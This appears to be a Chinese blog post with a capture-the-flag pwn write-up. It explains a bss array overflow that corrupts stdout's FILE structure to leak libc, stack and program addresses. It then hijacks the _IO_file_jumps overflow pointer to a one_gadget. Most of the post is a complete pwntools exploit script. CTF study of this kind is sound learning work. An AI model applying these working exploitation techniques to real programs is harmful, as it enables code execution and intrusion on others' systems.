意思篇:全开,bss段数组溢出,打stdout和data数据区域进行读取(很有意思)

29 篇文章 0 订阅

前言:这道题我看了一个师傅的wp,发现这道题感觉很有意思,所以这里就记录一下,像标题一样,很有意思,这道题大概就是数组溢出bss,在bss有stdin和stdout,stderr,freehook,溢出打这些东西来完成泄露任意写的目的,最后打freehook的时候,要利用一个_IO_file_jumps ----》io——overflow这个东西溢出到onegadget即可,具体看exp就会明白,这里参考了另一个师傅的exp,非常有参考价值,学到很多东西,嘿嘿

exp:

from pwn import*
#context.log_level = 'DEBUG'
def menu(ch):
    p.sendlineafter('>> ',str(ch))
def adjust(index,size,content):
    menu(2)
    p.sendlineafter('the power: ',str(index))
    p.sendlineafter('size: ',str(size))
    p.sendafter('staff: ',content)
def delete(index):
    menu(3)
    p.sendlineafter('power: ',str(index))
def login():
    menu(2)
    p.sendlineafter('account :','QAQ')
    p.sendafter('password :','rCLQ\n')
p = process('./main')
libc =ELF('./libc-2.29.so')
login()
 
adjust(-6,0,'\x00'*0x17 + '\n')
gdb.attach(p)
p.sendline('2')
p.sendline('-2')
p.sendline('0')
p.sendline('\x00'*0xD8 + p64(0xFBAD1800))
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] - 0xD00
log.info('LIBC:\t' + hex(libc_base))
environ = libc_base + libc.sym['environ']
system = libc_base + libc.sym['system']
IO_stdout_off = libc_base + libc.sym['_IO_2_1_stdout_'] + 131
adjust(-6,0,'\x00'*0x18 + p64(environ) + p64(environ + 8) + p64(environ + 8) + p64(IO_stdout_off) + p64(IO_stdout_off + 1)  + '\n')
p.sendline('2')
p.sendline('-2')
p.sendline('0')
p.sendline('\x00'*0xD8 + p64(0xFBAD1800))
 
stack = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))
log.info('Stack:\t' + hex(stack))
leak_address = stack - 0x160
adjust(-6,0,'\x00'*0x18 + p64(leak_address) + p64(leak_address + 8) + p64(leak_address + 8) + p64(IO_stdout_off) + p64(IO_stdout_off + 1)  + '\n')
p.sendline('2')
p.sendline('-2')
p.sendline('0')
p.sendline('\x00'*0xD8 + p64(0xFBAD1800))
 
proc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x7040
log.info('Proc:\t' + hex(proc_base))
 
leak_address = proc_base + 0x7000
adjust(-6,0,p64(leak_address)*6 +  p64(leak_address + 2) + p64(leak_address + 9)+ '\n')
p.sendline('2')
p.sendline('-2')
p.sendline('0')
p.sendline('\x00'*0xD8 + p64(0xFBAD1800))
 
IO_overflow = libc_base + libc.sym['_IO_file_jumps'] + 0x18
adjust(-13,0,p64(1) + p64(IO_overflow - 8) + '\n')
adjust(1,0,p64(libc_base + 0x106EF8) + '\n')
p.interactive()

总结:好有意思啊,感觉又学到了。呜呜呜嘿嘿嘿!!!!大佬勿喷哦嘿嘿

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值